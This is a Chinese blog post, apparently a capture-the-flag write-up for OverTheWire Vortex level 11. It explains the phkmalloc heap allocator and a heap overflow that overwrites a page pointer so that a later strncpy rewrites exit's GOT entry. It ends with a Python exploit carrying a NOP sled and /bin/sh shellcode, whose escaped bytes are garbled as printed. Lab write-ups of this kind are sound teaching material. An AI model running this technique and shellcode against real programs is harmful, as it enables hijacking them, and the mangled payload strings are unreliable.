OverTheWire Vertex Level 11 → Level 12

Reading time ~1 minute

这应该是第二次看到堆溢出的题,上次是babyfirst-heap,但不得不说,堆溢出真蛋疼,堆管理方法就一大堆,要想做堆溢出必须得先搞清楚其用的堆。

原题参见这里。从看到那一堆参考资料和长长的phkmalloc.c起就感觉整个世界都不好了。。。

不过东西虽多,搞清楚关键几点这题就能解决了。

首先讲下phkmalloc的几个概念:

  • malloc_pagesize:内存页一页的大小

  • malloc_pageshift:满足1 << malloc_pageshift = malloc_pagesize

  • malloc_pagemask:为malloc_pagesize – 1,从而使得addr % malloc_pagesize转化为addr & malloc_pagemask

  • malloc_origo:整个堆的起始地址 / malloc_pagesize,从而使得idx = ( page_address / malloc_pagesize ) – malloc_origo,idx为堆中页的编号

在phkmalloc中,每一页中的所有chunk大小相同,chunk分成三种大小,大的是指大小超过页大小一半的,中等和小的区别在于,对于中等大小的chunk,其堆头控制信息存储在专门的一个页上,对于小的chunk,其堆头控制信息存储在该chunk所在页。

现在让我们看看题目中的程序:

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
    char *p;
    char *q;
    char *r;
    char *s;
    if (argc < 3)
    {
        exit(0);
    }
    p = (char *) malloc(0x800);
    q = (char *) malloc(0x10);
    r = (char *) malloc(0x800);
    strcpy(r , argv[1]);
    s = (char *) malloc(0x10);
    strncpy(s , argv[2], 0xf);
    exit(0);
}

程序一共分配了4次,两个0x800(中等chunk),两个0x10(小chunk),通过gdb观察一下分配出来的内存,发现分别为p = 0x804E000、q = 0x804F030、r = 0x804E800、s = 0x804F040,我们很明显可以看出,strcpy的时候,我们可以通过r,覆盖q所在页上的堆头信息,堆头信息结构:

struct pginfo {
    struct pginfo   *next;  /* next on the free list */
    void        *page;  /* Pointer to the page */
    u_short     size;   /* size of this page's chunks */
    u_short     shift;  /* How far to shift for this size chunks */
    u_short     free;   /* How many free chunks */
    u_short     total;  /* How many chunk */
    u_int       bits[1]; /* Which chunks are free */
};

在这里,我们需要的是改变s的值,也就是最后一次分配出来的内存地址,这样我们才能在后面的strncpy中修改我们想要修改的位置。然后查看malloc会发现,分配好后返回的指针是(u_char *)bp->page + k,也就是说是由pginfo中的page加上偏移值,那么之前的0x804F040也就是0x804F000+0x40,这样,我们只要覆盖掉page,就能够将s改成GOT表的位置,从而在exit(0)的时候获取对程序的控制。

objdump查看:

080485f0 <exit@plt>:
 80485f0:	ff 25 1c c0 04 08    	jmp    *0x804c01c
 80485f6:	68 38 00 00 00       	push   $0x38
 80485fb:	e9 70 ff ff ff       	jmp    8048570 <_init+0x30>

那么我们要将page改为0x804c01c – 0x40 = 0x804bfdc,然后栈底地址为0xffffe000,于是乎得到启动程序如下:

#!/usr/bin/env python

import subprocess

addr = 'x04xdfxffxff'
got_addr = 'xdcxbfx04x08'
shellcode = "jx0bXx991xc9Rh//shh/binx89xe3xcdx80"
subprocess.Popen(['/vortex/vortex11', 'x90' * 0x804 + got_addr , addr + 'x90' * 500 + shellcode], env = {}).communicate()

运行之,成功拿到shell。

挂载网络文件夹后网络故障时文件操作命令卡死

挂载 NFS 或者 Samba 的时候,经常会由于网络故障导致挂载好的链接断掉。此时如果尝试进行 ls、cd、df 等各种命令,只要与此目录沾上边,就会卡住。如果使用了类似 oh-my-zsh 这种配置的,只要在网络目录中,弹出命令提示符前就会直接卡住。这个时候第一反应就是...… Continue reading

路由折腾记 第四弹

Published on September 02, 2017